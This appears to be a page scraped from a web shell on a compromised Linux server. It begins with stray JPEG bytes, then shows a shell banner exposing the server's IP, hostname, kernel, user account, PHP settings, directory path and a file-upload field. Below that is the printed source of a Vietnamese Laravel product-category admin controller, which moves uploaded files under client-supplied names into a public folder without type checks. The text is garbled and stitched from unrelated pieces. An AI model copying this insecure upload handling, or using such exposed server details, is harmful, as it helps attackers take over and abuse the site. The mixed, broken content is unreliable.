ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/app/Http/Controllers/Admin/ |
Upload File : |
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use App\Http\Requests\ProductCateRequest;
use Illuminate\Http\Request;
use App\ProductCate;
use Input, File;
use Validator;
class ProductCateController extends Controller {
public function getDanhSach()
{
$data = ProductCate::all();
return view('admin.productcate.list', compact('data'));
}
public function getAdd()
{
$parent = ProductCate::select('id','name','parent_id')->get()->toArray();
return view('admin.productcate.add', compact('parent'));
}
public function postAdd(ProductCateRequest $request)
{
$img = $request->file('fImages');
$path_img='upload/product';
$img_name='';
if(!empty($img)){
$img_name=time().'_'.$img->getClientOriginalName();
$img->move($path_img,$img_name);
}
$cate = new ProductCate;
$cate->parent_id = $request->txtProductCate;
$cate->name = $request->txtName;
$cate->name_eg = $request->txtName_eg;
$cate->alias = changeTitle($request->txtName);
$cate->photo = $img_name;
$cate->title = $request->txtTitle;
$cate->keyword = $request->txtKeyword;
$cate->description = $request->txtDescription;
$cate->stt = $request->stt;
if($request->status=='on'){
$cate->status = 1;
}else{
$cate->status = 0;
}
$cate->save();
return redirect()->route('admin.productcate.index')->with('status','Thêm mới thà nh công !');
}
public function getEdit(Request $request)
{
$id= $request->get('id');
//Tìm article thông qua mã id tương ứng
$data = ProductCate::find($id);
if(!empty($data)){
if($request->get('hienthi')>0){
if($data->status == 1){
$data->status = 0;
}else{
$data->status = 1;
}
$data->update();
return redirect()->route('admin.productcate.index')->with('status','Cáºp nháºt thà nh công !');
}
if($request->get('boot')>0){
if($data->boot == 1){
$data->boot = 0;
}else{
$data->boot = 1;
}
$data->update();
return redirect()->route('admin.productcate.index')->with('status','Cáºp nháºt thà nh công !');
}
$parent = ProductCate::orderBy('stt', 'asc')->get()->toArray();
// Gá»i view edit.blade.php hiển thị bải viết
return view('admin.productcate.edit',compact('data','parent','id'));
}else{
$data = ProductCate::all();
return redirect()->route('admin.productcate.index')->with('status','Dữ liệu không có thực');
}
}
public function update(Request $request)
{
$this->validate($request,
["txtName" => "required"],
["txtName.required" => "Bạn chưa nháºp tên danh mục"]
);
$id=$request->get('id');
$product_cate = ProductCate::find($id);
if(!empty($product_cate)){
$img = $request->file('fImages');
$img_current = 'upload/product/'.$request->img_current;
if(!empty($img)){
$path_img='upload/product';
$img_name=time().'_'.$img->getClientOriginalName();
$img->move($path_img,$img_name);
$product_cate->photo = $img_name;
}
if($request->txtProductCate!= $id && $request->txtProductCate>0){
$product_cate->parent_id = $request->txtProductCate;
}else{
$product_cate->parent_id = 0;
}
$product_cate->name = $request->txtName;
$product_cate->name_eg = $request->txtName_eg;
$product_cate->alias = changeTitle($request->txtName);
$product_cate->title = $request->txtTitle;
$product_cate->keyword = $request->txtKeyword;
$product_cate->description = $request->txtDescription;
$product_cate->stt = $request->stt;
if($request->status=='on'){
$product_cate->status = 1;
}else{
$product_cate->status = 0;
}
$product_cate->save();
return redirect('admin/productcate/edit?id='.$id)->with('status','Cáºp nháºt thà nh công');
}else{
return redirect('admin/productcate/')->with('status','Dữ liệu không có thực');
}
}
public function getDelete($id)
{
$product = ProductCate::findOrFail($id);
$product->delete();
return redirect()->route('admin.productcate.index');
}
public function getDeleteList($id){
$listid = explode(",",$id);
foreach($listid as $listid_item){
$product = ProductCate::findOrFail($listid_item);
$product->delete();
//File::delete('upload/product/'.$product->photo);
}
return redirect()->route('admin.productcate.index');
}
}